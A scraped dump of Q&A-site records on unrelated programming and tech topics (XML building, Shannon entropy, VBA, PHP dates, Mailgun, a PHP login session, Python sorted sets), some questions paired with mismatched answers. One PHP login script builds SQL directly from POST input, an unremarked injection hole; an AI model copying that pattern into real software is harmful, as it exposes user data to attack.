I created a test application that ran x number of trials for each of the suggested methods to see which performed best. As it turns out, building the XML string directly using StringBuilder was orders of magnitude faster, unsurprisingly.
Involving an XmlDocument in any way greatly reduced performance. It should be noted that my results were based off of running thousands of trials for each method... but in a practical sense, any of these method are fast enough to do the job right, in my opinion.
Of course, building everything using StringBuilder is a bit on the messy side. I like Jarealist's suggestion, it's a lot easier on the eyes, and if I handle the XML as a string throughout rather than loading it into an XmlDocument, its one of the fastest ways to go. | I am pretty sure you can tell the compiler to bundle those XML files inside your CLR exe. Reading from these would not imply a noticeable performance hit as they would be already in memory. You will need to research a bit as i cant get the code out of my head right now, too sleepy.
EDIT.
<http://msdn.microsoft.com/en-us/library/f45fce5x(v=vs.100).aspx> - More info on the subject.
Another benefit from using this approach is that the CLR can guarantee the readability and existance of those files, else your executable will be corrupt and wont run. |
87,182 | [Shannon's entropy](http://en.wikipedia.org/wiki/Entropy_%28information_theory%29) is the negative of the sum of the probabilities of each outcome multiplied by the logarithm of probabilities for each outcome. What purpose does the logarithm serve in this equation?
An intuitive or visual answer (as opposed to a deeply mathematical answer) will be given bonus points! | 2014/02/19 | [
"https://stats.stackexchange.com/questions/87182",
"https://stats.stackexchange.com",
"https://stats.stackexchange.com/users/10598/"
] | Shannon entropy is a quantity satisfying a set of relations.
In short, logarithm is to make it growing linearly with system size and "behaving like information".
The first means that entropy of tossing a coin $n$ times is $n$ times entropy of tossing a coin once:
$$
- \sum\_{i=1}^{2^n} \frac{1}{2^n} \log\left(\tfrac{1}{2^n}\right)
= - \sum\_{i=1}^{2^n} \frac{1}{2^n} n \log\left(\tfrac{1}{2}\right)
= n \left( - \sum\_{i=1}^{2} \frac{1}{2} \log\left(\tfrac{1}{2}\right) \right) = n.
$$
Or just to see how it works when tossing two different coins (perhaps unfair - with heads with probability $p\_1$ and tails $p\_2$ for the first coin, and $q\_1$ and $q\_2$ for the second)
$$
-\sum\_{i=1}^2 \sum\_{j=1}^2 p\_i q\_j \log(p\_i q\_j)
= -\sum\_{i=1}^2 \sum\_{j=1}^2 p\_i q\_j \left( \log(p\_i) + \log(q\_j) \right)
$$
$$
= -\sum\_{i=1}^2 \sum\_{j=1}^2 p\_i q\_j \log(p\_i)
-\sum\_{i=1}^2 \sum\_{j=1}^2 p\_i q\_j \log(q\_j)
= -\sum\_{i=1}^2 p\_i \log(p\_i)
- \sum\_{j=1}^2 q\_j \log(q\_j)
$$
so the properties of [logarithm](https://en.wikipedia.org/wiki/Logarithm) (logarithm of product is sum of logarithms) are crucial.
But also [Rényi entropy](https://en.wikipedia.org/wiki/R%C3%A9nyi_entropy) has this property (it is entropy parametrized by a real number $\alpha$, which becomes Shannon entropy for $\alpha \to 1$).
However, here comes the second property - Shannon entropy is special, as it is related to information.
To get some intuitive feeling, you can look at
$$
H = \sum\_i p\_i \log \left(\tfrac{1}{p\_i} \right)
$$
as the average of $\log(1/p)$.
We can call $\log(1/p)$ information. Why? Because if all events happen with probability $p$, it means that there are $1/p$ events. To tell which event have happened, we need to use $\log(1/p)$ bits
(each bit doubles the number of events we can tell apart).
You may feel anxious "OK, if all events have the same probability it makes sense to use $\log(1/p)$ as a measure of information. But if they are not, why averaging information makes any sense?" - and it is a natural concern.
But it turns out that it makes sense - [Shannon's source coding theorem](https://en.wikipedia.org/wiki/Shannon's_source_coding_theorem) says that a string with uncorrelated letters with probabilities $\{p\_i\}\_i$ of length $n$ cannot be compressed (on average) to binary string shorter than $n H$. And in fact, we can use [Huffman coding](https://en.wikipedia.org/wiki/Huffman_coding) to compress the string and get very close to $n H$.
See also:
* A nice introduction is Cosma Shalizi's [Information theory](http://bactra.org/notebooks/information-theory.html) entry
* [What is entropy, really? - MathOverflow](https://mathoverflow.net/questions/146463/what-is-entropy-really)
* [Dissecting the GZIP format](http://www.infinitepartitions.com/art001.html) | Here's an off-the-cuff explanation. You could say 2 books of the same size have twice as much information as 1 book, right? (Considering a book to be a string of bits.) Well, if a certain outcome has probability P, then you could say its information content is about the number of bits you need to write out 1/P. (e.g. if P=1/256, that's 8 bits.) Entropy is just the average of that information bit length, over all the outcomes. |
67,037,406 | I have code below which transposes column values from one particular workbook (Activeworkbook - columns O,AH and I) over to another workbook ("loader file.xls" - columns A,B,C). It works perfectly for my needs
```
Sub PullTrackerInfo()
'Pull info from respective column into correct column on loader file
Dim wb_mth As Workbook, wb_charges As Workbook, mapFromColumn As Variant, mapToColumn As Variant
Dim lastCell As Integer, i As Integer, nextCell As Integer, arrCopy As Variant
Set wb_mth = ActiveWorkbook
Set wb_charges = Workbooks("loader file.xls")
mapFromColumn = Array("O", "AH", "I")
mapToColumn = Array("A", "B", "C")
For i = 0 To UBound(mapFromColumn)
With wb_mth.Sheets(1)
lastCell = w.Sheets("owssvr").ListObjects("Table_owssvr").Range.Rows.Count
arrCopy = .Range(mapFromColumn(i) & 2 & ":" & mapFromColumn(i) & lastCell)
End With
With wb_charges.Worksheets(1)
nextCell = .Range(mapToColumn(i) & .Rows.Count).End(xlUp).Row + 1
.Range(mapToColumn(i) & nextCell).Resize(UBound(arrCopy), UBound(arrCopy, 2)).Value = arrCopy
End With
Next i
End Sub
```
What I would like to do is to go one step further, I typically have to sort the data to the correct column in order to transpose it over to the loader file. What I would like to do is move the columns data over depending on the title of the column heading ("market Code, "ID", "C Code"). See the idea below...
```
mapFromColumn = Array("Market Code", "ID", "C Code",
mapToColumn = Array("A", "B", "C")
For i = 0 To UBound(mapFromColumn)
With wb_mth.Sheets(1)
lastCell = w.Sheets("owssvr").ListObjects("Table_owssvr").Range.Rows.Count
arrCopy = .Range(mapFromColumn(i) & 2 & ":" & mapFromColumn(i) & lastCell)
End With
With wb_charges.Worksheets(1)
nextCell = .Range(mapToColumn(i) & .Rows.Count).End(xlUp).Row + 1
.Range(mapToColumn(i) & nextCell).Resize(UBound(arrCopy), UBound(arrCopy, 2)).Value = arrCopy
End With
Next i
End Sub
```
The code above does not obviously work, i've tried a couple of different tactics to no avail. If anyone could help me out that would be great. Thanks | 2021/04/10 | [
"https://Stackoverflow.com/questions/67037406",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/14314515/"
] | I was getting the same error and I could solved it with the last two steps of the following (make sure you have covered all of them):
1. Add SHA1 in the firebase project
2. Add SHA-256 in the firebase project
3. Enable Phone option in Sign-in method under Firebase Authentication
4. Make sure to download and add the latest google-services.json file in your project
5. Enable Android Device Verification for your firebase project in <https://console.cloud.google.com/>
6. Add library implementation "androidx.browser:browser:1.3.0"
<https://developer.android.com/jetpack..>. | Adding up to @fred answer, be sure the SHA-1 and SHA-256 signatures are added to the console, but be sure which signatures you are adding, beacuse if it is a release version, you should get the SHA's from Developer Console, remember Google signs your app with a key stored on google servers.
Additional to this, I had to enable Safety Net on Firebase Console. Let me know if you manage to get everything working. |
1,011,460 | I've been having this problem for months, and for a while I was ignoring it.
It all started when I wanted to share my HP Deskjet 1050, connected to my desktop via usb, over my network to use on laptops, etc. I followed the usual procedure of going to devices and printers and preparing to share it, but to my surprise it wasn't listed there. Now, this was a shock, because I had been printing fine on it for months. It shows up in every print dialog, and shows as working in device manager as well. However, even when I attempt to "add a new printer" it refuses to be recognized.
Currently running Win10 Pro. I've tried uninstalling, reinstalling, restarting, and cleaning up and nothing has solved the problem thus far.
I'm just very confused. All I want is to be able to print wirelessly from my laptop. Somehow this printer is hiding from the Devices and Printers menu. Even more frustratingly, when I go to settings in Device Manager it tells me I need to go to Devices and Printers to change settings.
Aren't printers wonderful? It's amazing how consistently they seem to misbehave and refuse to work. | 2015/12/10 | [
"https://superuser.com/questions/1011460",
"https://superuser.com",
"https://superuser.com/users/267245/"
] | Some people reported display port cables causing issues so I changed my display port cable and my problem seems to be fixed.
**OLD CABLE (gave problems):**
I was using this cable which had decent reviews on Amazon:
Cable Matters Gold Plated DisplayPort to DisplayPort Cable 10 Feet - 4K Resolution Ready
[http://www.amazon.com/Cable-Matters%C2%AE-Gold-Plated-DisplayPort/dp/B005H3Q5E0/](http://rads.stackoverflow.com/amzn/click/B005H3Q5E0)
**NEW CABLE (works):**
I decided to look at the official VESA DisplayPort site to see their recommended cables (<http://www.displayport.org/products-database/>). There's only a handful of brands. After searching for them I settled on Accell because of availability. Actually I couldn't find the exact model because the product database only listed 1.1a DisplayPort cables but I hoped that a 1.2 cable from the same manufacturer would work. I got this cable:
Accell B142C-007B UltraAV DisplayPort to DisplayPort 1.2 Cable with Latches
[http://www.amazon.com/gp/product/B0098HVZBE](http://rads.stackoverflow.com/amzn/click/B0098HVZBE)
Haven't had the issue since changing out the cable.
Note, before changing out the cable, a workaround that worked for me was simply unplugging and re-plugging in the DisplayPort cable from the back of my video card.
***OLD ANSWER:***
My second monitor wouldn't display in proper resolution in Windows 10 after previously working in Windows 10 (and also in Window 7). I just rebooted one day and the monitor was stuck in 640x480 with no option to change it. I'm using AMD Catalyst 15.7.1. After trying several things I went to device manager uninstalled the Generic PnP *monitor* driver (i.e. not display adapter driver) and rebooted windows and now it displays the proper native 1920 x 1080 resolution. | For my situation, following worked
1. Remove HDMI cable connected to monitor from computer's HDMI port.
2. Wait 5 seconds till display is shown on laptop main screen (not sure how this will work for desktop).
3. Reconnect the HDMI cable disconnected in step 1.
4. Maximum resolution is correctly shown.
Unfortunately this fix isn't permanent and I have to repeat the process every week or so. I don't want to disconnect - reconnect HDMI cable in order to save wear and tear of the HDMI port. Is it possible to simulate removal of HDMI cable through code or settings change? |
40,124,051 | This is my code:
```
<?php
$date_db = "2017-10-12 12:00:00";
setlocale(LC_ALL, "de_DE.UTF-8");
$date_db = strtotime($date_db);
$date_db = strftime("%e. %B %Y, %A, %k:%M Uhr", $date_db);
$date_db = str_replace(":00","",$date_db);
echo $date_db;
?>
```
The output is: `12. Oktober 2017, Donnerstag, 12 Uhr`
This is all right so far. But sometimes there's no time, only a date, like this: `$date_db = "2017-10-12 00:00:00";`.
This will output: `12. Oktober 2017, Donnerstag, 0 Uhr`.
In a case like this, I want to have removed the trailing `, 0 Uhr`.
I think it should work by using this line of code below the other `str_replace` code line: `$date_db = str_replace(", 0 Uhr","",$date_db);`.
Whole code:
```
<?php
$date_db = "2017-10-12 00:00:00";
setlocale(LC_ALL, "de_DE.UTF-8");
$date_db = strtotime($date_db);
$date_db = strftime("%e. %B %Y, %A, %k:%M Uhr", $date_db);
$date_db = str_replace(":00","",$date_db);
$date_db = str_replace(", 0 Uhr","",$date_db);
echo $date_db;
?>
```
This should output `12. Oktober 2017, Donnerstag`, but output is `12. Oktober 2017, Donnerstag, 0 Uhr`.
What am I doing wrong? | 2016/10/19 | [
"https://Stackoverflow.com/questions/40124051",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/-1/"
] | ```
$date_db = "2017-10-12 10:00:00";
setlocale(LC_ALL, "de_DE.UTF-8");
$date_db = strtotime($date_db);
$date_db = strftime("%e. %B %Y, %A, %k:%M Uhr", $date_db);
$date_db = str_replace(":00","",$date_db);
//check if string contains O Uhr then only trim
if(preg_match("/ 0 Uhr/", $date_db)){
$date_db = str_replace("0 Uhr","",$date_db);
$date_db = rtrim($date_db, ' ,');
}
echo $date_db;
``` | ```
<?php
$string = '12. Oktober 2017, Donnerstag, 0 Uhr';
$string = str_replace(", 0 Uhr", "", $string);
echo $string;
``` |
10,835,687 | I've just started teaching myself JavaScript and am doing some basic exercises. Right now I'm trying to make a function that takes in three values and prints out the largest. However, the function refuses to fire upon button click. I tried making a separate, very simple function just for debugging and it refuses to fire as well. I've written other practice functions in almost the exact same manner (they had two parameters as opposed to three) that work fine. Any insight would be greatly appreciated.
```
<!DOCTYPE HTML>
<html>
<head>
<script type = "text/javascript">
<!--
//Define a function Max() that takes three numbers as
//arguments and returns the largest of them.
function Boo(){
document.write("boo");
alert("boo");
}
function Max(p1, p2, p3){
document.write(p1+p2+p3);
alert('BOO!')
document.write(document.getElementById('value1').value);
var max = Number(p1);
v2 = Number(p2):
v3 = Number(p3);
if (v2 > max)
max = v2;
if (v3 > max)
max = v3;
document.write(max);
}
-->
</script>
</head>
<body>
<form>
<input type="text" id="value1" name="value1"/><br />
<input type="text" id="value2" name="value2"/><br />
<input type="text" id="value3" name="value3"/><br />
<input type = "button"
onclick="Boo()"
value = "Compare!"/>
<!-- onclick="Max(document.getElementById('value1').value,
document.getElementById('value2').value,
document.getElementById('value3').value)" -->
</form>
</body>
</html>
``` | 2012/05/31 | [
"https://Stackoverflow.com/questions/10835687",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/1427033/"
] | ```
v2 = Number(p2):
```
should be
```
v2 = Number(p2);
```
Also, look into the developer tools for whatever browser you are using to find simple syntax errors like this. (In most browsers you can press F12). | Your javascript functions are commented out with `<!-- -->` |
51,102,009 | I am using `loopback` as a backend now I wish to be able to search across all fields in the table
For instance, take the following table fields:
```
id, name, title, created, updated
```
Now say I want to search across the table using the following string "`nomad`"
However, I am unsure how to structure the query
I have attempted:
```
{"where": {"keywords": {"inq": ["nomad"]}}}
```
However, this just returns all results
So how do I do this? :)
If it matters my database is a `postgresql` | 2018/06/29 | [
"https://Stackoverflow.com/questions/51102009",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/1647457/"
] | Loopback is not where you need to look at. It's just a framework with universal ORM / ODM to connect to your DB and expose is with a query language over rest. You probably need in your case to add a `text` index in your postgresql database. By indexing all your desired properties into a text index, you'll be able to perform search in your DB.
Here is the documentation.
<https://www.postgresql.org/docs/9.5/static/textsearch.html>
You can still achieve your goal using loopback ORM with something like
`{"where": {"prop1": {"regex": "nomad"}, "prop2": {"regex": "nomad"}}}`
but your DB will die in few queries ... | You can try using **RegExp** :
```
let searchField = "nomad";
var search = new RegExp(searchField, 'i');
{"where": {"id":search,"name" : search}
```
I have use **Aggregate** in **LookUp** to **Search** .
Example :
```
let searchField = "anyname";
var searchCond = [];
if (searchField) {
var search = new RegExp(searchField, 'i');
searchCond.push({ "id": search },{ "name": search });
}
```
//Depending on your other condition you add at aggregate :
```
var modelCollection = Model.getDataSource().connector.collection(Model.modelName);
modelCollection.aggregate([{
$match: {
$or: searchCond
}
}], function(err, data) {
if (err) return callback(err);
return callback(null, data);
});
``` |
67,438 | I've been reading documents, viewing videos, etc. on how to create a Wordpress plugin. I've learned how to filter a post, add txt to a post, use conditionals to see if the page is a single post as not to display text throughout the entire site, etc.
The part that I'm not understanding is how to create a plugin, with it's own menu item that will bring the user to this plugin that im creating.
Lets say for example my plugin should be a blank page (with Wordpress header, footer, etc.) that simply displays 'Hello World!' - How do I create this very simple plugin, on its own page (not seen all over the site) with its own menu button that brings the user to this plugin?
Do I create a template and a menu item that links to the template? I'm so confused...
I found how to 'Create page' in the admin section, but that seems to only create a menu item that corresponds to a blank page where I can add html.
I can't seem to even find any plugin examples where this is done, but I would think it would be relatively easy to create a plugin that has a menu item so visitors know how to get to the plugin.
If I wanted to create a simple plugin so visitors to my Wordpress can click a menu item called 'Bicycle races' and be brought to my plugin page where they can view the output of my plugin, a list of bicycle races in this case, how would I accomplish this? Do I create a simple plugin, or do I create a template as well?
Please help me locate any possible plugin examples where this is accomplished.
Thanks | 2012/10/07 | [
"https://wordpress.stackexchange.com/questions/67438",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/21190/"
] | If you want a frontend page you'll have to create one with your plugin's shortcode as the content. Then you display your plugin's output in-place of that shortcode:
```
/*
Plugin Name: WPSE67438 Page plugin
*/
class wpse67438_plugin {
const PAGE_TITLE = 'WPSE67438'; //set the page title here.
const SHORTCODE = 'WPSE67438'; //set custom shortcode here.
function __construct() {
register_activation_hook( __FILE__, array( $this, 'install' ) );
add_shortcode( self::SHORTCODE, array( $this, 'display' ) );
}
public function install() {
if( ! get_option( 'wpse67438_install' ) ) {
wp_insert_post( array(
'post_type' => 'page',
'post_title' => self::PAGE_TITLE,
'post_content' => '[' . self::SHORTCODE . ']',
'post_status' => 'publish',
'post_author' => 1
)
);
update_option( 'wpse67438_install', 1 );
}
}
public function display( $content ) {
$my_plugin_output = "Hello World!"; //replace with plugin's output
return $content . $my_plugin_output;
}
}
new wpse67438_plugin();
``` | you'll need some plugin options at the very least to allow users to decide how/where your plugin page is accessed. some users may be using `wp_list_pages` to output a menu, others may use a `wp_nav_menu` instance to enable navigation, and in that case they could have multiple menus registered, and then there's the matter of *where* within a menu they'd want it. [this answer](https://wordpress.stackexchange.com/a/65407/4771) contains code for auto-adding a menu item to a nav menu, but it may be better to just provide instructions for user's to add your plugin menu item.
as for the "page" itself, there are a few different strategies I've seen in various plugins:
1. have a shortcode that users can insert into a page to display your plugin's output, like Abdussamad's answer.
2. another version of the above- [create a page](http://codex.wordpress.org/Function_Reference/wp_insert_post) on plugin activation with the content being a shortcode. users then have the option of moving the shortcode to another page, renaming the page, adding additional content, etc.
3. have user's select a page via an admin option, and [filter `the_content`](http://codex.wordpress.org/Plugin_API/Filter_Reference/the_content) on that page to insert your plugin's output.
4. use a rewrite rule to create a "virtual page", like [this answer](https://wordpress.stackexchange.com/a/9959/4771). this wouldn't integrate well with a theme though, so probably doesn't meet your criteria. |
38,716,459 | Let's say I have this code:
```
for (int i = 0; i < x.size(); i++) {
auto &in = input[i];
auto &func = functions[i];
auto &out = output[i];
// pseudo-code from here:
unaccessiable(i);
i = func(in); // error, i is not declared
out = func(i); // error, i is not declared
// useful when you mistake in/out for i
}
```
I need to achieve effect that a variable is not accessible or usable after a certain line in the code. (in this code, after the `unaccessiable(i)`)
Specifically I want to disable the iterator of a for's loop.
NOTE: This is only for code correctness, and nothing beyond that. So lambdas (non-compile-time solutions) are just performance hindering. | 2016/08/02 | [
"https://Stackoverflow.com/questions/38716459",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/4211034/"
] | Despite the fact the restriction you want to apply to a loop does not make sense, I would rewrite your loop to ensure noone use the counter by mistake:
```
for(int i = 0;;) //whatever guard
{
DoRequiredAction(i);
}
```
Then your `DoRequiredAction` method would not have to modify the loop counter. | Here's another way - rather than use index addressing, use a zip iterator:
This way, after plumbing, the problem may be expressed thus:
```
extern std::vector<int> input;
extern std::vector<int> output;
extern std::vector<int (*)(int)> functions;
void test()
{
for (auto values : zip(input, functions, output))
{
auto &in = std::get<0>(values);
auto &func = std::get<1>(values);
auto &out = std::get<2>(values);
out = func(in); // error, i is not declared
// won't compile:
// i = func(in);
}
}
```
With zip iterators, there's always a philosophical question as to when one 'iterator set' is 'equal' to another. Should it be when one of the iterator pairs is equal (stop on end of shortest sequence) or when they are all equal (demand that all sequences are the same length)?
In this implementation I have used the former - stop iterating when the shortest sequence has been covered. You can tune this by modifying the equality operators of `iterators<>`.
Here's the complete example, including plumbing:
```
#include <vector>
#include <utility>
#include <tuple>
template<class...Iters>
struct iterators
{
iterators(Iters... iters) : _iterators { iters... } {}
bool operator==(const iterators& r) const {
return !(_iterators != r._iterators);
}
bool operator!=(const iterators& r) const {
return _iterators != r._iterators;
}
template<std::size_t...Is>
auto refs(std::index_sequence<Is...>)
{
return std::tie(*std::get<Is>(_iterators)...);
}
auto operator*() {
return refs(std::index_sequence_for<Iters...>());
}
template<std::size_t...Is>
auto& plus(std::size_t n, std::index_sequence<Is...>)
{
using expand = int[];
void(expand{0,
((std::get<Is>(_iterators) += n),0)...
});
return *this;
}
auto& operator+=(std::size_t n) {
return plus(n, std::index_sequence_for<Iters...>());
}
auto& operator++() {
return operator+=(1);
}
std::tuple<Iters...> _iterators;
};
template<class...Ranges>
auto begins(Ranges&...ranges)
{
using iters_type = iterators<decltype(std::begin(ranges))...>;
return iters_type(std::begin(ranges)...);
}
template<class...Ranges>
auto ends(Ranges&...ranges)
{
using iters_type = iterators<decltype(std::begin(ranges))...>;
return iters_type(std::end(ranges)...);
}
template<class...Ranges>
struct ranges
{
ranges(Ranges&...rs)
: _ranges(rs...)
{}
template<std::size_t...Is>
auto make_begins(std::index_sequence<Is...>)
{
return begins(std::get<Is>(_ranges)...);
}
template<std::size_t...Is>
auto make_ends(std::index_sequence<Is...>)
{
return ends(std::get<Is>(_ranges)...);
}
auto begin() {
return make_begins(std::index_sequence_for<Ranges...>());
}
auto end() {
return make_ends(std::index_sequence_for<Ranges...>());
}
std::tuple<Ranges&...> _ranges;
};
template<class...Ranges>
auto zip(Ranges&...rs) {
return ranges<Ranges...>(rs...);
}
extern std::vector<int> input;
extern std::vector<int> output;
extern std::vector<int (*)(int)> functions;
void test()
{
for (auto values : zip(input, functions, output))
{
auto &in = std::get<0>(values);
auto &func = std::get<1>(values);
auto &out = std::get<2>(values);
out = func(in); // error, i is not declared
// won't compile:
// i = func(in);
}
}
```
>
> Wow, all that code... there must be some processing overhead...
>
>
>
Not if you enable optimisations (gcc 5.3 with -O2):
```
test():
pushq %r15
pushq %r14
pushq %r13
pushq %r12
pushq %rbp
pushq %rbx
subq $8, %rsp
movq output+8(%rip), %r15
movq functions+8(%rip), %r14
movq input+8(%rip), %r13
movq input(%rip), %rbx
movq functions(%rip), %rbp
movq output(%rip), %r12
jmp .L4
.L2:
movl (%rbx), %edi
addq $4, %r12
addq $4, %rbx
call *0(%rbp)
addq $8, %rbp
movl %eax, -4(%r12)
.L4:
cmpq %rbx, %r13
jne .L2
cmpq %rbp, %r14
jne .L2
cmpq %r12, %r15
jne .L2
addq $8, %rsp
popq %rbx
popq %rbp
popq %r12
popq %r13
popq %r14
popq %r15
ret
``` |
20,568 | Recently I read a book which described about gradient. It says
$${\rm d}T~=~ \nabla T \cdot {\rm d}{\bf r},$$
and suddenly they concluded that $\nabla T$ is the maximum rate of change of $f(T)$ where $T$ stands for Temperature. I did not understand. How gradient is the maximum rate of change of a function?
Please explain it with pictures if possible. | 2012/02/05 | [
"https://physics.stackexchange.com/questions/20568",
"https://physics.stackexchange.com",
"https://physics.stackexchange.com/users/7527/"
] | Consider an $n$-dimensional space (two dimension in the picture), and let $f(\vec x)$ be a non-constant scalar function, like a temperature distribution in your case. Let $\vec y(t)$ be any curve in the space such that the function $f(\vec y(t))=c$ is constant along that trajectory (the colored lines).
Now compute the scalar product $\left\langle ., .\right\rangle$ of the gradient vector $\vec \nabla f$ (the red arrows) evaluated at the point $\vec y(t)$, with the tangent vector $\vec Y(t):=\frac{\text{d}\vec y(t)}{\text{d}t}$ along that very same curve
$$\left\langle \vec Y(t), \left(\vec\nabla f\right)\_{\vec y(t)}\right\rangle
:=\sum\_{i=1}^n\ Y^{\ i}(t)\left(\nabla\_i f\right)\_{\vec y(t)}=$$
$$=\sum\_{i=1}^n \frac{\text{d}y^i(t)}{\text{d}t}\left(\frac{\partial f}{\partial y^i}\right)\_{\vec y(t)}
=\frac{\text{d}f(\vec y(t))}{\text{d}t}
=\frac{\text{d}c}{\text{d}t}
=0.$$
The result that the scalar product of these two vectors is zero means that the gradient $\vec \nabla f$ is always orthogonal to the direction in which the function doesn't change, i.e. $\vec Y(t)$. So it is therefore pointing in the direction of maximal change. You can clearly see the orthogonality in the picture.
And if the function changes fast with respect to spatial coordinates, then the components of the gradient $\nabla\_i f\equiv\frac{\partial f}{\partial y^i}$ and therefore the whole gradient vector will be big.
Notice also how the dimenion $n$ wasn't used in any essential way to derive the statement.
 | Formally, we have the symbolic equation
$$
\nabla T\cdot\mathrm d\mathbf r =
\begin{pmatrix} \frac{\partial T}{\partial x^1} & \cdots & \frac{\partial T}{\partial x^n} \end{pmatrix}
\begin{pmatrix} \mathrm dx^1 \\ \vdots \\ \mathrm dx^n \end{pmatrix} =
\sum\_i \frac{\partial T}{\partial x^i}\mathrm dx^i = \mathrm dT
$$
However, that doesn't really help us with our intuition.
For a more precise as well as more intuitive definition, we need to evaluate differential and gradient and (using the chain rule for the 2nd equality) arrive at
\begin{align\*}
\mathrm dT\_{\mathbf r}(\mathbf v) = \frac{\mathrm d}{\mathrm dt}\Big|\_{t=0} T(\mathbf r + t\mathbf v) = \nabla T(\mathbf r)\cdot\mathbf v && \forall\mathbf r,\mathbf v\in\mathbb R^n
\end{align\*}
As we see here, the differential (or equivalently the scalar product with the gradient) yields the (infinitesimal) change of $T$ as we move along the curve $t\mapsto \mathbf r + t\mathbf v$.
Now, we can ask in which direction $\mathbf v$, $||\mathbf v||=1$ does $T$ change the most? The answer is obviously in the direction of the gradient, as the scalar product is maximal if $\measuredangle(\mathbf v,\nabla T)=0$. The length of $\nabla T$ of course is relevant as well: It measures the strength (or rate) of this change. |
55,900,958 | I develop at php Laravel.
I receiving GuzzleHttp response from Mailgun as Object and can't to get from it the status.
the Object is:
`O:8:"stdClass":2:{s:18:"http_response_body";O:8:"stdClass":2:{s:6:"member";O:8:"stdClass":4:{s:7:"address";s:24:"test_of_json-4@zapara.fr";s:4:"name";s:10:"not filled";s:10:"subscribed";b:1;s:4:"vars";O:8:"stdClass":0:{}}s:7:"message";s:36:"Mailing list member has been created";}s:18:"http_response_code";i:200;}`
I need just last data pair:
`"http_response_code";i:200;`
to get it into variable, like:
`$http_response_code = 200;`
or even just its value.
To get string as I cited above I use
`$result_ser = serialize($result);`
but yet can't to extract value of variable.
Also I tried this:
`$this->resultString .= \GuzzleHttp\json_decode($result_ser, true);`
and get error.
Please, explain me , **How to get/extract value I needed?** | 2019/04/29 | [
"https://Stackoverflow.com/questions/55900958",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/9870932/"
] | To take the response status code you can use the function **getStatusCode** :
```
$response = $client->request();
$statusCode = $response->getStatusCode();
```
while to take the body of response you can use :
```
$contents = $response->getBody()->getContents();
``` | I found that 'mailgun/mailgun' package uses its own HTTP client which also uses 'RestClient' and these classes are return stdObject.
In that Object there is property 'http\_response\_code' containing HTTP response code like 200, 400, 401 etc.
**This property accessible by standard way `$object->property` and it's a solution of my query in this case.**
For anybody who will read this question and answers I should to explain one thing that I not cleared in question.
I made request to the Mailgun API for subscribing member to mailing list. The API returns stdObject, not JSON or XML data.
But also there is one more strange thing - stdObject returned when request is successful only. If request fails you'll get just Exception thrown with message and without code. This forced me, if fail, to parse message body instead of get and resolve error code. |
15,253,406 | I'm trying to take the last three chracters of any string and save it as another String variable. I'm having some tough time with my thought process.
```
String word = "onetwotwoone"
int length = word.length();
String new_word = id.getChars(length-3, length, buffer, index);
```
I don't know how to use the getChars method when it comes to buffer or index. Eclipse is making me have those in there. Any suggestions? | 2013/03/06 | [
"https://Stackoverflow.com/questions/15253406",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/1193321/"
] | Here is a method I use to get the last xx of a string:
```
public static String takeLast(String value, int count) {
if (value == null || value.trim().length() == 0 || count < 1) {
return "";
}
if (value.length() > count) {
return value.substring(value.length() - count);
} else {
return value;
}
}
```
Then use it like so:
```
String testStr = "this is a test string";
String last1 = takeLast(testStr, 1); //Output: g
String last4 = takeLast(testStr, 4); //Output: ring
``` | This method will return the x amount of characters from the end.
```
public static String lastXChars(String v, int x) {
return v.length() <= x ? v : v.substring(v.length() - x);
}
```
//usage
```
System.out.println(lastXChars("stackoverflow", 4)); // flow
``` |
13,987,211 | I am working on a project on which there is a header which contain login link . There are two header on my project header.php and header1.php. header.php is included on index.php and header1.php is on rest of the page.
When I am going to my site www.example.com which contain header.php and login it show me that I am logged in but when I move to next page on the site it does not show me logged in and also when I move to home page(index.php) there also I am not logged in.
header.php :- on index.php
```
<?php
@session_start();
include_once('functions/config.php');
?>
// and some html code
```
header1.php :- rest of the page
```
<?php
//ob_start();
@session_start();
include("$_SERVER[DOCUMENT_ROOT]/functions/config.php");
?>
// and some html code
```
vali.js (for validation) :-
```
$("#login_frm").validate({
rules: {
email: {
required: true,
email: true
},
pass: {
required: true,
minlength: 6
},
},
messages: {
pass: {
required: "Please provide a password",
minlength: "Your password must be at least 6 characters long"
},
email: "Please enter email adress"
},
submitHandler: function(form) {
$.post('http://www.example.com/logincheck.php', $("#login_frm").serialize(), function(data) {
if(data == '1') {
document.location='http://www.example.com/';
} else {
$('#login-error').html('Wrong Username or password');
}
});
}
});
```
logincheck.php (session set):-
```
<?php
include("functions/config.php");
include("functions/encript.php");
ob_start();
session_start();
$email = $_POST['email'];
$pass= encode5t($_POST['pass']);
$sql = "SELECT * FROM members where email='$email' AND pass='$pass' AND member_status='1' ";
//echo $sql;
$row = mysql_query( $sql );
$count = mysql_num_rows( $row );
$result = mysql_fetch_assoc($row);
if($count == 1) {
$member_id = $result['member_id'];
$first_name = $result['first_name'];
$creditamount = $result['credit'];
$_SESSION['memid'] = $member_id;
$_SESSION['ufname'] = $first_name;
$_SESSION['uemail'] = $email;
$_SESSION['creditamount'] = $creditamount;
//echo "->".$_SESSION['memid'];
setcookie ("memid", $member_id, (time()+60*60*24*360));
setcookie ("login2", "true", (time()+60*60*24*360));
setcookie ("uname", $first_name, (time()+60*60*24*360));
setcookie ("uemail", $email, (time()+60*60*24*360));
echo '1';//header("location:index.php");
} else {
echo "Wrong Username Or Password";
}
?>
```
I dont know what is happening also this problem occurs for the first time when I am logged in for the second time it does not give me any problem. Thanks in advance. | 2012/12/21 | [
"https://Stackoverflow.com/questions/13987211",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/1455354/"
] | This problem may due to the reason below
The same variable name in header and in other files. The variable may be used in header
```
$_SESSION['userid']
```
The variable **$userid** is used in some other files may be. If you find that this issue will clear i think | Simply use `session_start();` at the top of every page using it. |
628,192 | Does anybody know if Python has an equivalent to Java's SortedSet interface?
Heres what I'm looking for: lets say I have an object of type `foo`, and I know how to compare two objects of type `foo` to see whether `foo1` is "greater than" or "less than" `foo2`. I want a way of storing many objects of type `foo` in a list `L`, so that whenever I traverse the list `L`, I get the objects in order, according to the comparison method I define.
### Edit:
I guess I can use a dictionary or a list and `sort()` it every time I modify it, but is this the best way? | 2009/03/09 | [
"https://Stackoverflow.com/questions/628192",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/75857/"
